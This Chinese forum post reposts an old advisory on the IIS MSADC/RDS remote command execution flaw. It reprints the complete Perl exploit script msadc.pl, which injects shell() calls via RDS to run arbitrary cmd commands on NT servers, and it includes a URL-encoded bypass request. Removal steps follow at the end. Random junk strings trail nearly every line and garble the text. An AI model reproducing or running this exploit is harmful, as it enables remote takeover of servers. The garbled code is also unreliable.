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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) +MXI;k_  
qifX7AXHr  
涉及程序: q]<cn2  
Microsoft NT server MSsboSxA  
V[A uw3)  
描述: C:zK{+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^qYJx  
vJ }^ p }  
详细: gHA"O@HgDI  
如果你没有时间读详细内容的话,就删除: Ll%[}C?~]?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll g/'MECB  
有关的安全问题就没有了。 d\D.l^  
OZs^c2 W  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 dz&8$(f,  
)"wWV{k  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 M-"%4^8_  
关于利用ODBC远程漏洞的描述,请参看: Mb uD8B  
DNC2]kS<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &8z`]mB{t  
tLJ"] D1w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 z45ImItH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp h /@G[5E  
PW~+=,  
这里不再论述。 DHd9yP9-  
"i(k8+i K  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: }RDGk+x7|  
nYLq%7}k  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8dNwi&4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6 `+dP"@  
VkZrb2]v  
ZM`6z S!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" HSE9-c =  
:na9PW`TC  
#!perl  bF0 y`  
# JUt 7  
# MSADC/RDS 'usage' (aka exploit) script pPuE-EDk  
# !MOVv\@O  
# by rain.forest.puppy yF0\$%H>$  
# a4Qr\"Qm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me s=h  
# beta test and find errors! D .oX>L#:  
tXV9+AJ  
use Socket; use Getopt::Std; QX1QYwcmG  
getopts("e:vd:h:XR", \%args); q;3.pRw(  
%O#)=M~  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F#*vJb)  
/'ccFm2  
if (!defined $args{h} && !defined $args{R}) { y1GVno  
print qq~ ^2rNty,nH  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }1VxMx@  
-h <host> = host you want to scan (ip or domain) 8*-8"It<"  
-d <seconds> = delay between calls, default 1 second $vlq]6V8  
-X = dump Index Server path table, if available WwG78b-OA  
-v = verbose x DD3Y{ K  
-e = external dictionary file for step 5 s<Px au+A  
;}"_hLX  
Or a -R will resume a command session aVNBF`  
Ue^2H[zs-  
~; exit;} =Yg36J4[  
OOA %NKV  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~8L*N>Y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :L*"OT7(6  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r~&"D#)sy  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); e33j&:O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} N3nFE:`u]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,7&`V=C  
%{ WZ  
if (!defined $args{R}){ $ret = &has_msadc; M0zJGIT~b  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~47Bbom  
eM Ym@~4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |h$*z9bsf  
. "cmd /c "; ^}7iouE C  
$in=<STDIN>; chomp $in; " uf*?m3  
$command="cmd /c " . $in ; ;T0F1  
o!!";q%DX  
if (defined $args{R}) {&load; exit;} 03$-U0.;-  
Y7(E<1Yx  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,WSK '  
&try_btcustmr; XJ,P8nx  
Z^5j.d{e$  
print "\nStep 2: Trying to make our own DSN..."; q_S`@2Dzz,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "h?;)Ye  
#2l6'gWE0  
print "\nStep 3: Trying known DSNs..."; Ja<pvb  
&known_dsn; acr@erk  
y"q7Gx*^j  
print "\nStep 4: Trying known .mdbs..."; Elth xj  
&known_mdb; B w?Kb@  
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if (defined $args{e}){  t9T3e  
print "\nStep 5: Trying dictionary of DSN names..."; 7yp7`|,p  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ]4~- z3=y  
C$Pe<C#  
print "Sorry Charley...maybe next time?\n"; &* GwA  
exit; 5dOA^P@`,M  
juOOD   
############################################################################## $Gt1T[:QUX  
b*$/(2"m  
sub sendraw { # ripped and modded from whisker L(tS]yWHw  
sleep($delay); # it's a DoS on the server! At least on mine... Cx$C+  
my ($pstr)=@_; {g9?Eio^F^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u=^0n2ez  
die("Socket problems\n"); wXw pKm  
if(connect(S,pack "SnA4x8",2,80,$target)){ [)UF@Sq4+Q  
select(S); $|=1; .C=&` ;Vs  
print $pstr; my @in=<S>; 9Br2}!Ny  
select(STDOUT); close(S); *4}l V8  
return @in; eveGCV;@  
} else { die("Can't connect...\n"); }} nsR^TD;  
#:Z"V8n'  
############################################################################## +<&\*VR  
jRIjFn|~{Y  
sub make_header { # make the HTTP request 7+] T}4;  
my $msadc=<<EOT k 1;,eB  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 N,v4SIC@  
User-Agent: ACTIVEDATA ONQp-$  
Host: $ip J]uYXsC  
Content-Length: $clen f:iK5g  
Connection: Keep-Alive 'G z>X :  
MU5@(s3B?  
ADCClientVersion:01.06 pAg;Rib  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0 [6llcuj  
t6 :;0[j  
--!ADM!ROX!YOUR!WORLD! EN@LB2  
Content-Type: application/x-varg /_~b~3{u  
Content-Length: $reqlen #sit8k`GR8  
pGw|T~e%  
EOT pJ7wd~wF*  
; $msadc=~s/\n/\r\n/g; rN#ydw:9  
return $msadc;} }%k,PYe/  
!v\m%t|.  
############################################################################## 5xW)nEV  
;aYPv8s~,:  
sub make_req { # make the RDS request ,-u | l  
my ($switch, $p1, $p2)=@_; U,/NygB~  
my $req=""; my $t1, $t2, $query, $dsn; QI>yi&t  
e2w$":6>  
if ($switch==1){ # this is the btcustmr.mdb query j9C=m"O  
$query="Select * from Customers where City=" . make_shell(); |7WzTz  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6$wS7Cu  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;@K,>$ur-  
><iEVrpN  
elsif ($switch==2){ # this is general make table query {(G@YG?  
$query="create table AZZ (B int, C varchar(10))"; G\h8j*o  
$dsn="$p1";} 9Vk61x6  
, 6\i  
elsif ($switch==3){ # this is general exploit table query E*Vx^k$  
$query="select * from AZZ where C=" . make_shell(); Y>!9P\Xe  
$dsn="$p1";} >>krH'79  
yZI4%fen  
elsif ($switch==4){ # attempt to hork file info from index server 6,  ag\  
$query="select path from scope()"; 4s*P5w_'/  
$dsn="Provider=MSIDXS;";} !$h%$se  
h./cs'&  
elsif ($switch==5){ # bad query !Dkz6B*  
$query="select"; hXS'*vO"  
$dsn="$p1";} 3hR7 . /  
G/(oQA  
$t1= make_unicode($query); Jf`;F :  
$t2= make_unicode($dsn); P>euUVMPz4  
$req = "\x02\x00\x03\x00"; QHr 3J  
$req.= "\x08\x00" . pack ("S1", length($t1)); +YT/od1t7  
$req.= "\x00\x00" . $t1 ; 8s8q`_.)(  
$req.= "\x08\x00" . pack ("S1", length($t2)); FVG|5'V^  
$req.= "\x00\x00" . $t2 ; P,h@F+OZN  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Fhn883  
return $req;} 'DsfKR^ s  
 9 N=KU  
############################################################################## &g,K5at  
eHv~?b5l  
sub make_shell { # this makes the shell() statement !=&]#-;b  
return "'|shell(\"$command\")|'";} $qQ6u!  
2EE/xnwX  
############################################################################## i40r}?-  
\+GXUnkj  
sub make_unicode { # quick little function to convert to unicode 4)2*|w  
my ($in)=@_; my $out; WbH/K]/1)h  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } r_)-NOp  
return $out;} 7u5B/M!  
b{s E#m%r  
############################################################################## `k\]I |6  
ZM; EjS1  
sub rdo_success { # checks for RDO return success (this is kludge) c'`7p/l.  
my (@in) = @_; my $base=content_start(@in); @{I55EQ]  
if($in[$base]=~/multipart\/mixed/){ '4Z%{.;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 08k1 w,6W  
return 0;} WS(@KN  
R~RY:[5?w  
############################################################################## vp mSzh  
fY%Sw7ql<  
sub make_dsn { # this makes a DSN for us }sJ% InL  
my @drives=("c","d","e","f"); &KR@2~vE  
print "\nMaking DSN: "; w5n>hz_5  
foreach $drive (@drives) { =j;o, J:(  
print "$drive: "; 6\0GVM\  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G#@<bg3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" g1zqh,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); '3hvR4P  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; kIW Q`)'  
return 0 if $2 eq "404"; # not found/doesn't exist b:O4d<+%  
if($2 eq "200") { ;prp6(c  
foreach $line (@results) { yAi4v[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {{EQM +  
} return 0;} ;4qalxzu  
Q^39Wk@  
############################################################################## '!1lK  
9(X *[X#  
sub verify_exists { n.1a1Tf  
my ($page)=@_; #='#`5_5  
my @results=sendraw("GET $page HTTP/1.0\n\n"); HKxrBQr78  
return $results[0];} T3?kabbF  
IBF>4q m"  
############################################################################## MPL2#YU/a  
hcf>J6ZLT  
sub try_btcustmr { ;N1FP*  
my @drives=("c","d","e","f"); "t\9@nzdX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?1412Tq5  
H+ M ~|Ju7  
foreach $dir (@dirs) { 5N|77AAxK  
print "$dir -> "; # fun status so you can see progress w^p2XlQ<  
foreach $drive (@drives) { V&}Z# 9Dx  
print "$drive: "; # ditto )7`~U"r  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; XqwdJND  
$reqlenlen=length( "$reqlen" ); WYzY#-j  
$clen= 206 + $reqlenlen + $reqlen; <s{/ka3  
Z'j<wRf  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); B"B  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} :iWV:0)P  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {MEU|9@ Y  
6R,;c7Izhd  
############################################################################## #tfJ?w`  
\Q)~'P3  
sub odbc_error { ^IId =V=2  
my (@in)=@_; my $base; r-0 7!A  
my $base = content_start(@in); @v'<~9vG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this V('b|gsEo  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w'e enIX^^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _Ey8P0-I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 50Jr(OeU<  
return $in[$base+4].$in[$base+5].$in[$base+6];} 6x7=0}'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [&4y@  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >L(F{c:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} d+w<y~\ q  
Q:LuRE!t  
############################################################################## @Uu\x~3y  
PDsLJ|:yL  
sub verbose { g[n8N{s  
my ($in)=@_; -Tt}M#W   
return if !$verbose; 3HiW1*5W  
print STDOUT "\n$in\n";} 7/yd@#$X  
9c6V&b  
############################################################################## i0!F  
`fRy"44nR  
sub save { ) jvkwC  
my ($p1, $p2, $p3, $p4)=@_; yUG5'<lX  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `sXx,sV?B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5C&f-* Bh  
close OUT;} {V&7JZl,/  
n" ~*9'  
############################################################################## ~_&.A*Jh  
-$q/7,os  
sub load { Y^G3<.B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  R pbl)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); E.3}a>f  
@p=<IN>; close(IN); 2uTa}{/%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `3KprpE8v  
$target= inet_aton($ip) || die("inet_aton problems"); aFym&n\  
print "Resuming to $ip ..."; ^m=%Ctu#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [:'n+D=T3M  
if($p[1]==1) { #j JcgR<  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ChGM7uu2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; lN'/Z&62  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 75HL  
if (rdo_success(@results)){print "Success!\n";} e2fct|'  
else { print "failed\n"; verbose(odbc_error(@results));}} H^g<`XEgw  
elsif ($p[1]==3){ E-D5iiF  
if(run_query("$p[3]")){ (`u!/  
print "Success!\n";} else { print "failed\n"; }} >N J$ac  
elsif ($p[1]==4){ *PEuaRDN  
if(run_query($drvst . "$p[3]")){ $%JyM  
print "Success!\n"; } else { print "failed\n"; }} xNkY'4%  
exit;} yh:,[<q  
~'MWtDe:Z8  
############################################################################## q@9 i3*q;  
N 3c*S"1  
sub create_table { 8tMte!E  
my ($in)=@_; I={{VQ  
$reqlen=length( make_req(2,$in,"") ) - 28; -/%jeDKp  
$reqlenlen=length( "$reqlen" ); m-RY{DO+  
$clen= 206 + $reqlenlen + $reqlen; 5XI*I( .%/  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ak Tw?v'  
return 1 if rdo_success(@results); P{eRDQ=  
my $temp= odbc_error(@results); verbose($temp); u2]g1XjeG  
return 1 if $temp=~/Table 'AZZ' already exists/; GJs[m~`8#  
return 0;} .M2&ad :  
3L?a4,Q"k}  
############################################################################## ?8@*q6~8  
,d>~='  
sub known_dsn { l|A8AuO*?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Pfx71*u,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", _KVB~loT  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", +3>/,w(x  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~iZF~PQ1_  
(H+[^(3d2  
foreach $dSn (@dsns) { H$amt^|zQ4  
print "."; OeGuq.> w  
next if (!is_access("DSN=$dSn")); -/c1qLdQ  
if(create_table("DSN=$dSn")){ tq[",&K  
print "$dSn successful\n"; Ko)T>8:  
if(run_query("DSN=$dSn")){ 5,BkwAr+6[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -_DiD^UcXn  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0DIM]PS  
>5Oy^u6Ly  
############################################################################## %@93^q[\2  
I%>]!X  
sub is_access { V)QR!4De  
my ($in)=@_; o!r4 frP  
$reqlen=length( make_req(5,$in,"") ) - 28; 5qQ(V)ah  
$reqlenlen=length( "$reqlen" ); Y~hd<8 ~  
$clen= 206 + $reqlenlen + $reqlen; +1jqCW  
my @results=sendraw(make_header() . make_req(5,$in,"")); G>S1Ld'MV  
my $temp= odbc_error(@results); efkie}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <VR&= YJ  
return 0;} zRoEx1  
yn ":!4U1  
############################################################################## A|_%'8  
zGd*Q5l  
sub run_query { O\F^@;] F6  
my ($in)=@_; 5uJP) S?  
$reqlen=length( make_req(3,$in,"") ) - 28; sFM>gG  
$reqlenlen=length( "$reqlen" ); TgE.=`"7  
$clen= 206 + $reqlenlen + $reqlen; pD_eo6xX  
my @results=sendraw(make_header() . make_req(3,$in,"")); rn[}{1I33Q  
return 1 if rdo_success(@results); 2]RH)W86;  
my $temp= odbc_error(@results); verbose($temp); 5YG@[ic  
return 0;} %%,hR'+|  
UFAMbI  
############################################################################## NT9- j#V  
*o\Y~U-so  
sub known_mdb { GlgORy=>  
my @drives=("c","d","e","f","g"); h:Mn$VR,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5A]LNA4i  
my $dir, $drive, $mdb; UNcJ=   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9c5G6n0  
9EA !j}  
# this is sparse, because I don't know of many ? ]:EmP  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0CVsDVA  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (T#(A4:6S  
"\\system32\\certmdb.mdb", lp0T\ %  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% S}p&\w H  
n.Eoi4jV'  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Or#+E2%1E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U>B5LU9&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", g9weJ6@}M  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~iR!3+yg4  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sHPwW5j/o'  
"\\cfusion\\database\\cfexamples.mdb", >5~Zr$  
"\\cfusion\\database\\cfsnippets.mdb", voej ~z+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Vh.;p.!e  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vD)A)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", V.QzMF"o  
"\\cfusion\\database\\smpolicy.mdb", xX&>5 "  
"\\cfusion\\database\cypress.mdb", J,0WQQnb  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", oB{}-[G  
"\\website\\cgi-win\\dbsample.mdb", kSDa\l!W]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &(uF&-PwO4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z Jo#3  
); #these are just ?m9UhLeaS=  
foreach $drive (@drives) { Z/6'kE{l  
foreach $dir (@dirs){ 9p\wTzA  
foreach $mdb (@sysmdbs) { Ubw!/|mi  
print "."; o~.o^0Y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0q>NE <L  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [,o5QH\Etq  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ WP% {{zR$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; &W)+8N,L  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jY#(A23  
X.T\=dm%v  
foreach $drive (@drives) { QC\g%MVG  
foreach $mdb (@mdbs) { uRB)g  
print "."; S`2mtg  
if(create_table($drv . $drive . $dir . $mdb)){ \{M rQ2jd  
print "\n" . $drive . $dir . $mdb . " successful\n"; gM;)  
if(run_query($drv . $drive . $dir . $mdb)){ f?>-yMR|  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ]2xx+P#Y  
} else { print "Something's borked. Use verbose next time\n"; }}}} r_V2 J{B  
} Fyh?4!/.  
z"s%#/#  
############################################################################## S4{Mu(^xT  
0,~6TV<K  
sub hork_idx { WK_y1(v>  
print "\nAttempting to dump Index Server tables...\n"; /50g3?X,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _r<zSH%  
$reqlen=length( make_req(4,"","") ) - 28; 7{K i;1B[w  
$reqlenlen=length( "$reqlen" ); C$'D]fX  
$clen= 206 + $reqlenlen + $reqlen; _']%qd"%  
my @results=sendraw2(make_header() . make_req(4,"","")); B.Zm$JZ:  
if (rdo_success(@results)){ d Ik8TJ  
my $max=@results; my $c; my %d; !HdvCYB>  
for($c=19; $c<$max; $c++){ :p\(y  
$results[$c]=~s/\x00//g; f- k|w%R@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 20.-;jK  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 'd2qa`H'}B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; c9*1$~(v0I  
$d{"$1$2"}="";} l?o-!M{  
foreach $c (keys %d){ print "$c\n"; } ]M+VSU  
} else {print "Index server doesn't seem to be installed.\n"; }} OD?y  
7|+|\ 7l#  
############################################################################## j]!7BHC  
\ifK~?  
sub dsn_dict { v.l7Q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Z#OhYm+y  
while(<IN>){ qLQ <1>u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; c%AFo]H  
next if (!is_access("DSN=$dSn")); tT@w%Sz57N  
if(create_table("DSN=$dSn")){ eq@am(#&kY  
print "$dSn successful\n"; 2qs>Bshf  
if(run_query("DSN=$dSn")){ =9qGEkd3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jb|mip@` <  
print "Something's borked. Use verbose next time\n";}}} E ;BPN  
print "\n"; close(IN);} :jt;EzCLg%  
9 3W  
############################################################################## ;ZQ- uz  
ibd$%;bX3  
sub sendraw2 { # ripped and modded from whisker e2]4a3  
sleep($delay); # it's a DoS on the server! At least on mine... ?a'6EAErC  
my ($pstr)=@_; c;:">NR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &a%WM   
die("Socket problems\n"); uipq=Yp.  
if(connect(S,pack "SnA4x8",2,80,$target)){ ..t,LU@|  
print "Connected. Getting data"; B :.@Qi^  
open(OUT,">raw.out"); my @in; GVmC }>z  
select(S); $|=1; print $pstr; CS/Mpmsp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]pW86L%  
close(OUT); select(STDOUT); close(S); return @in; Tub1S v>J  
} else { die("Can't connect...\n"); }} yfmp$GO:  
,HFs.9#&B  
############################################################################## {>8Pl2J  
uije#cj#O  
sub content_start { # this will take in the server headers 2v0!` &?M{  
my (@in)=@_; my $c; yJ!OsD  
for ($c=1;$c<500;$c++) { XD PL;(?  
if($in[$c] =~/^\x0d\x0a/){ x(L(l=^"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } e]lJqC  
else { return $c+1; }}} Fi mN?s  
return -1;} # it should never get here actually x^A7'ad0  
s}6+8fE"  
############################################################################## !Eq#[Gs  
AY#wVy  
sub funky { y n SBVb!)  
my (@in)=@_; my $error=odbc_error(@in); *)u?~r(F  
if($error=~/ADO could not find the specified provider/){ 7ftR 4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3Jk[/ .h  
exit;} 1N8;)HLIBJ  
if($error=~/A Handler is required/){ b"I~_CL|  
print "\nServer has custom handler filters (they most likely are patched)\n"; et=7}K]l  
exit;} {m[s<A(  
if($error=~/specified Handler has denied Access/){ 3KSpB;HX  
print "\nServer has custom handler filters (they most likely are patched)\n"; RctU'T  
exit;}} }g~g50ci  
MDJc[am  
############################################################################## j&5G\6:  
\K;op2  
sub has_msadc { *h$&0w y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); C,/O   
my $base=content_start(@results); 2 nv[1@M  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jpRBER_X  
return 0;} t8QRi!\=  
%}P4kEY  
######################## qj&b o  
.u l 53 m  
OF[?Z  
解决方案: "+)K |9T#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #uSK#>H_!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \=;uu_v$  
%T!J$a)qf  
拿出来充数 哈哈
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